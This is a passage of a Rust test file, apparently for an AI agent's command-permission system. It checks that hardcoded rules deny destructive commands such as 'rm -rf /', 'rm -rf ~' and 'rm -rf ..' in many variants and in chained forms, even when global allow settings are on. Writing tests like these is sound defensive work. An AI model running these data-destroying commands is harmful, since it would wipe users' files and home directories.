1065 msg.contains("2 regex patterns"),
1066 "Expected '2 regex patterns' in message, got: {}",
1067 msg
1068 );
1069 }
1070 other => panic!("Expected Deny, got {:?}", other),
1071 }
1072 }
1073
1074 // Hardcoded security rules tests - these rules CANNOT be bypassed
1075
1076 #[test]
1077 fn hardcoded_blocks_rm_rf_root() {
1078 t("rm -rf /").is_deny();
1079 t("rm -fr /").is_deny();
1080 t("rm -RF /").is_deny();
1081 t("rm -FR /").is_deny();
1082 t("rm -r -f /").is_deny();
1083 t("rm -f -r /").is_deny();
1084 t("RM -RF /").is_deny();
1085 }
1086
1087 #[test]
1088 fn hardcoded_blocks_rm_rf_home() {
1089 t("rm -rf ~").is_deny();
1090 t("rm -fr ~").is_deny();
1091 t("rm -rf ~/").is_deny();
1092 t("rm -rf $HOME").is_deny();
1093 t("rm -fr $HOME").is_deny();
1094 t("rm -rf $HOME/").is_deny();
1095 t("rm -rf ${HOME}").is_deny();
1096 t("rm -rf ${HOME}/").is_deny();
1097 t("rm -RF $HOME").is_deny();
1098 t("rm -FR ${HOME}/").is_deny();
1099 t("rm -R -F ${HOME}/").is_deny();
1100 t("RM -RF ~").is_deny();
1101 }
1102
1103 #[test]
1104 fn hardcoded_blocks_rm_rf_dot() {
1105 t("rm -rf .").is_deny();
1106 t("rm -fr .").is_deny();
1107 t("rm -rf ./").is_deny();
1108 t("rm -rf ..").is_deny();
1109 t("rm -fr ..").is_deny();
1110 t("rm -rf ../").is_deny();
1111 t("rm -RF .").is_deny();
1112 t("rm -FR ../").is_deny();
1113 t("rm -R -F ../").is_deny();
1114 t("RM -RF .").is_deny();
1115 t("RM -RF ..").is_deny();
1116 }
1117
1118 #[test]
1119 fn hardcoded_cannot_be_bypassed_by_global() {
1120 // Even with always_allow_tool_actions=true, hardcoded rules block
1121 t("rm -rf /").global(true).is_deny();
1122 t("rm -rf ~").global(true).is_deny();
1123 t("rm -rf $HOME").global(true).is_deny();
1124 t("rm -rf .").global(true).is_deny();
1125 t("rm -rf ..").global(true).is_deny();
1126 }
1127
1128 #[test]
1129 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1130 // Even with an allow pattern that matches, hardcoded rules block
1131 t("rm -rf /").allow(&[".*"]).is_deny();
1132 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1133 t("rm -rf .").allow(&[".*"]).is_deny();
1134 t("rm -rf ..").allow(&[".*"]).is_deny();
1135 }
1136
1137 #[test]
1138 fn hardcoded_allows_safe_rm() {
1139 // rm -rf on a specific path should NOT be blocked
1140 t("rm -rf ./build")
1141 .mode(ToolPermissionMode::Allow)
1142 .is_allow();
1143 t("rm -rf /tmp/test")
1144 .mode(ToolPermissionMode::Allow)
1145 .is_allow();
1146 t("rm -rf ~/Documents")
1147 .mode(ToolPermissionMode::Allow)
1148 .is_allow();
1149 t("rm -rf $HOME/Documents")
1150 .mode(ToolPermissionMode::Allow)
1151 .is_allow();
1152 t("rm -rf ../some_dir")
1153 .mode(ToolPermissionMode::Allow)
1154 .is_allow();
1155 t("rm -rf .hidden_dir")
1156 .mode(ToolPermissionMode::Allow)
1157 .is_allow();
1158 }
1159
1160 #[test]
1161 fn hardcoded_checks_chained_commands() {
1162 // Hardcoded rules should catch dangerous commands in chains
1163 t("ls && rm -rf /").is_deny();
1164 t("echo hello; rm -rf ~").is_deny();
1165 t("cargo build && rm -rf /").global(true).is_deny();
1166 t("echo hello; rm -rf $HOME").is_deny();
1167 t("echo hello; rm -rf .").is_deny();
1168 t("echo hello; rm -rf ..").is_deny();
1169 }
1170}